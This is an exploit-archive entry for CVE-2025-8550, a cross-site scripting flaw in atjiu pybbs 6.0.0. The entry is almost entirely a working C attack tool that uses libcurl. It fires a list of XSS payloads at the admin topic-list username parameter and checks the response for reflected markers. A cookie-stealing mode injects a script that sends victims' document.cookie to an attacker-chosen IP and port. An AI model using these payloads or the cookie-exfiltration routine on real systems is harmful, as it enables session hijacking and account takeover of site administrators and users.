atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)

Author: Byte Reaper
type: webapps
platform: multiple
port: 
date_added: 2025-08-11  
date_updated: 2025-08-11  
verified: 0  
codes: CVE-2025-8550  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52400.c  
/*
 * Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS)
 * Exploit Author: Byte Reaper
 * Vendor Homepage: https://github.com/atjiu/pybbs
 * Tested on: Kali Linux
 * CVE: CVE-2025-8550
 * ------------------------------------------------------------------------------------------------------------------------------------
 */

#include <stdio.h>
#include <curl/curl.h>
#include <pthread.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <time.h>
#include <dirent.h>
#include <unistd.h>
#include <ctype.h>
#include <arpa/inet.h>

#define FULL_URL 3500
#define FULL_PAYLOAD_URL 9000
#define BUFFER_SIZE  6000
int selCookie = 0;
const char *cookies = NULL;
const char *baseurl = NULL;
const char *nameFileC= NULL;
int cookiesPayload = 0;
const char *ip = NULL;
int port = 0;
int verbose = 0;

int serchServer_alt()
{
    printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n");

    const char *nameProcess[] =
    {
        "python",
        "apache2",
        "python3",
        "mysql",
        NULL

    };
    DIR *d = opendir("/proc");
    if (!d) return 1;
    struct dirent *entry;
    while ((entry = readdir(d)) != NULL)
    {
        if (!isdigit(entry->d_name[0])) continue;
        char cmdpath[256];
        snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name);
        FILE *f = fopen(cmdpath, "r");
        if (!f) continue;
        char comm[256];
        if (fgets(comm, sizeof(comm), f))
        {
            for (int i = 0; nameProcess[i]; i++)
            {
                if (strstr(comm, nameProcess[i]))
                {
                    printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name);
                    closedir(d);
                    return 0;
                }
            }
        }
        fclose(f);
    }
    closedir(d);
    return 1;
    printf("\e[0;35m==========================================================================================================\e[0m\n");
}
void exitSyscall()
{
    __asm__ volatile
    (
        "mov $0x3C, %%rax\n\t"
        "xor %%rdi, %%rdi\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}

int checkLen(int len, char *buf, size_t bufcap)
{
    if (len < 0 || (size_t)len >= bufcap)
    {
        printf("\e[0;31m[-] Len is Long ! \e[0m\n");
        printf("\e[0;31m[-] Len %d\e[0m\n", len);
        exitSyscall();
        return 1;
    }
    else
    {
        printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len);
        return 0;

    }
    return 0;
}
void nanoSleep(void)
{
    struct timespec ob;
    ob.tv_sec = 0;
    ob.tv_nsec = 500 * 1000 * 1000;

    __asm__ volatile
    (
    "mov $230, %%rax\n\t"
    "mov $1, %%rdi\n\t"
    "xor %%rsi, %%rsi\n\t"
    "mov %0, %%rdx\n\t"
    "xor %%r10, %%r10\n\t"
    "syscall\n\t"
    :
    : "r"(&ob)
    : "rax",
      "rdi",
      "rsi",
      "rdx",
      "r10",
      "memory"
    );
}

const char *payloads[] =
{
    "<script>alert(1)</script>",
    "\"><img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
    "<body onload=alert(1)>",
    "<iframe src=\"javascript:alert(1)\"></iframe>",
    "<a href=\"#\" onclick=\"alert(1)\">click</a>",
    "<math><mi xlink:href=\"javascript:alert(1)\">XSS</mi></math>",
    "<svg><script>alert(1)</script></svg>",
    "\"><iframe srcdoc=\"<script>alert(1)</script>\"></iframe>",
    "<img src=\"x\" onerror=\"javascript:alert(1)\">",
    "<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
    "<script>Function('al'+'ert(1)')()</script>",
    "<script>(([]+[])[+[]]+([][[]]+[])[+!+[]])[1]+''[1]</script>",
    "<object data=\"javascript:alert(1)\"></object>",
    "<video><source onerror=\"alert(1)\"></video>",
    "<link rel=\"stylesheet\" href=\"javascript:alert(1)\">",
    "<form onformdata=alert(1)><input></form>",
    "<isindex type=image src=1 onerror=alert(1)>",
    "<details open ontoggle=alert(1)>",
    "<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;(1)>",
    "javascript:alert`1`",
    "javas&#x63;ript:alert(1)",
    "<script src=data:text/javascript,alert(1)></script>",
    NULL
};

const char *wordPayloadXss[] =
{
    "<script>",
    "onerror=",
    "onload=",
    "alert(",
    "javascript:",
    "<svg",
    "fetch(",
    "document.cookie",
    "srcdoc=",
    NULL
};

struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr,
                size_t size,
                size_t nmemb,
                void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}


void cookieSend(const char *ipServer, int portY, const char *urlCP)
{
    CURL *curl = curl_easy_init();
    CURLcode  res;
    struct Mem responsePayload ;
    responsePayload.buffer = NULL;
    responsePayload.len = 0;
    printf("\e[0;35m================================================================ [COOKIE PAYLOAD] ================================================================\e[0m\n");

    if (curl == NULL)
    {
        printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
        exitSyscall();
    }

    if (curl)
    {
        char full[FULL_PAYLOAD_URL];
        if (!port)
        {
            portY = 80;
            printf("\e[0;34m[+] Default Port -> %d\e[0m\n", portY);
        }
        unsigned long format;
        format = inet_addr(ipServer);
        if (format == INADDR_NONE)
        {
            printf("\e[0;31m[-] Invalid IP address string.\e[0m\n");
            exitSyscall();
        }
        else
        {
            printf("\e[0;34m[+] IP ADDRESS : %s\e[0m\n", ipServer);
        }
        char server[BUFFER_SIZE];
        if (!server)
        {
            fprintf(stderr, "\e[0;31m[-] Error allocating memory!\e[0m\n");
            exitSyscall();
        }

        int lenS = snprintf(server, BUFFER_SIZE, "<script>new Image().src='http://%s:%d/steal?c='+encodeURIComponent(document.cookie);</script>", ipServer, portY);

        if (checkLen(lenS, server, BUFFER_SIZE) == 1)
        {
            printf("[-] Error write base url in FULL URL !\e[0m\n");
            exitSyscall();
        }
        printf("\e[0;34m[+] Write Your IP And Port successfully in  Payload.\e[0m\n");
        printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server);
        char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server));
        if (!encodePayloadCookie)
        {
            printf("\e[0;31m[-] Error Encode Payload !\n");
            exitSyscall();
        }

        printf("[+] Encode Payload : %s\n", encodePayloadCookie);
        int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie);
        if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1)
        {
            printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
            exitSyscall();
        }
        curl_easy_setopt(curl, CURLOPT_URL, full);

        if (selCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &responsePayload);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        nanoSleep();
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
                              "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)");
        h = curl_slist_append(h,
                              "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        h = curl_slist_append(h,
                              "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
                              "Accept-Language: en-US,en;q=0.5");
        h = curl_slist_append(h,
                              "Connection: keep-alive");
        h = curl_slist_append(h,
                              "Upgrade-Insecure-Requests: 1");
        h = curl_slist_append(h,
                              "Cache-Control: max-age=0");
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
        res = curl_easy_perform(curl);
        curl_slist_free_all(h);
        curl_free(encodePayloadCookie);
        if (res == CURLE_OK)
        {
            long httpCode = 0;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                              &httpCode);
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                       httpCode);
                printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n");
                printf("\e[0;36m[+] Please Check Your Server.\e[0m\n");
            }
            else
            {
                printf("[-] Payload Injection Failed !\e[0m\n");
                printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode);
            }
        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            exitSyscall();

        }

    }
    curl_easy_cleanup(curl);
    if (responsePayload.buffer)
    {
        free(responsePayload.buffer);
        responsePayload.buffer = NULL;
        responsePayload.len = 0;
    }
    printf("\e[0;35m==================================================================================================================================================\e[0m\n");
}


int sendRequest(const char *url)
{
    char full[FULL_URL];
    struct Mem response;
    CURL *curl = curl_easy_init();
    if (curl == NULL || !curl)
    {
        printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n");
        exitSyscall();
    }
    CURLcode res;

    response.buffer= NULL;
    response.len = 0;
    if (response.buffer == NULL && response.len == 0)
    {
        printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n");
        printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n");
        printf("\e[0;33m[+] Response Len    -> 0\e[0m\n");
    }
    else
    {
        printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n");
    }

    int finish = 0;
    for (int p = 0 ; payloads[p] != NULL; p++)
    {
        char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p]));
        if (encodePayload == NULL || !encodePayload)
        {
            printf("\e[0;31m[-] Error Encode Payload !\n");
            exitSyscall();
        }
        printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n");
        printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]);
        printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload);

        int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload);
        if (checkLen(len, full, sizeof(full)) == 1)
        {
            printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n");
            printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len);
            exitSyscall();
        }
        printf("[+] FULL URL : %s\n", full);
        curl_easy_setopt(curl, CURLOPT_URL, full);

        if (selCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        nanoSleep();
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }
        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
                              "Accept: text/html");
        h = curl_slist_append(h,
                              "Accept-Encoding: gzip, deflate, br");
        h = curl_slist_append(h,
                              "Accept-Language: en-US,en;q=0.5");
        h = curl_slist_append(h,
                              "Connection: keep-alive");
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
        char referer[3500];
        int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full);
        if (checkLen(refLen, referer, sizeof(referer)) == 1)
        {
            printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n");
            printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n");
            h = curl_slist_append(h,
                                  "Referer : http://exemple.com");
            exitSyscall();
        }
        else
        {
            printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n");
            printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer);
            h = curl_slist_append(h,
                                  referer);
        }

        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
        res = curl_easy_perform(curl);
        curl_slist_free_all(h);
        curl_free(encodePayload);
        if (res == CURLE_OK)
        {
            long httpCode = 0;
            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                              &httpCode);
            printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n");
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n",
                       httpCode);
                if (verbose)
                {
                    if (response.buffer)
                    {
                        printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n");
                        printf("%s\n", response.buffer);
                        printf("\e[1;32m[Len] : %zu\e[0m\n", response.len);
                        printf("\e[1;37m\n=============================================================================================\e[0m\n");
                    }
                }
                for (int w = 0; wordPayloadXss[w] != NULL; w++)
                {
                    if (strstr(response.buffer, wordPayloadXss[w]) != NULL)
                    {
                        printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]);
                        if (response.buffer)
                        {
                            printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n");
                            printf("%s\n", response.buffer);
                            printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                            printf("\e[1;35m===============================================================================================\e[0m\n\n");

                        }
                        else
                        {
                                printf("[-] Response Is NULL, Exit ...\n");
                                exitSyscall();
                        }
                    }
                    else
                    {
                        if (verbose)
                        {
                            printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]);
                        }
                        if (wordPayloadXss[w] == NULL)
                        {
                            printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n");
                            finish = 1;

                        }
                    }
                }


            }
            else
            {
                printf("\e[0;31m[-] Negative response code  (%ld)!\e[0m\n", httpCode);
            }


        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
            exitSyscall();

        }

    }
    curl_easy_cleanup(curl);
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    return finish;


}
void *thread_routine(void *arg)
{
    int finish = sendRequest((const char *)arg);
    return (void *)(intptr_t)finish;
}
void runThread(const char *urlT)
{
    int valeuF = sendRequest(urlT);
    pthread_t  thread;
    for (int u = 0; valeuF == 1; u++)
    {

        if (valeuF == 1)
        {
            pthread_exit(NULL);
        }
        if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0)
        {
           printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n");
        }
        else
        {
            printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n");
        }
        sleep(2);
        printf("\e[0;32m[+] Sleep 2 s...\n");
        pthread_cancel(thread);
        if (pthread_join(thread, NULL) == 0)
        {
            printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n");
        }
        else
        {
            if (verbose)
            {
               printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n");
            }
        }
     }
}
int main(int argc, const char **argv)
{
    printf(
        "\e[0;31m"
        "░██████  ░██    ░██ ░██████████          ░██████    ░████    ░██████  ░████████          ░██████  ░████████ ░████████   ░████       \n"
        "░██   ░██ ░██    ░██ ░██                 ░██   ░██  ░██ ░██  ░██   ░██ ░██               ░██   ░██ ░██       ░██        ░██ ░██     \n"
        "░██        ░██    ░██ ░██                       ░██ ░██ ░████       ░██ ░███████          ░██   ░██ ░███████  ░███████  ░██ ░████   \n"
        "░██        ░██    ░██ ░█████████  ░██████   ░█████  ░██░██░██   ░█████        ░██ ░██████  ░██████        ░██       ░██ ░██░██░██   \n"
        "░██         ░██  ░██  ░██                  ░██      ░████ ░██  ░██      ░██   ░██         ░██   ░██ ░██   ░██ ░██   ░██ ░████ ░██   \n"
        "░██   ░██   ░██░██   ░██                 ░██        ░██ ░██  ░██       ░██   ░██         ░██   ░██ ░██   ░██ ░██   ░██  ░██ ░██     \n"
        "░██████     ░███    ░██████████         ░████████   ░████   ░████████  ░██████           ░██████   ░██████   ░██████    ░████       \n"
                           "\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n"
    );
    printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n");
    curl_global_init(CURL_GLOBAL_DEFAULT);

    struct argparse_option options[] =
    {
        OPT_HELP(),
               OPT_STRING('u',
                          "url",
                          &baseurl,
                          "Enter Target Url (http://<TARGET>)"),
               OPT_STRING('c',
                          "cookies",
                          &nameFileC,
                          "Enter File cookies"),
            OPT_BOOLEAN('k',
                        "cokpay",
                        &cookiesPayload,
                        "Arg For Send Request steals cookies (-k (NULL))"),
        OPT_STRING('i',
                   "ip",
                   &ip,
                   "Enter Your Ip Server"),
        OPT_INTEGER('p',
                    "port",
                    &port,
                    "Enter Port Server"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "Verbose Mode"),
                    OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    serchServer_alt();
    if (!baseurl)
    {
        printf("\e[1;31m[-] Please Enter target Url !\e[0m\n");
        printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://<TARGET>\e[0m\n");
        exitSyscall();
    }
    if (nameFileC)
    {
        selCookie = 1;
    }
    if (verbose)
    {
        verbose = 1;
    }
    if (cookieSend && ip && port)
    {
        cookieSend(ip, port, baseurl);
    }
    else
    {
        printf("[-] Please Enter Ip And Port !\e[0m\n");
    }
    runThread(baseurl);
    curl_global_cleanup();
    return 0;

}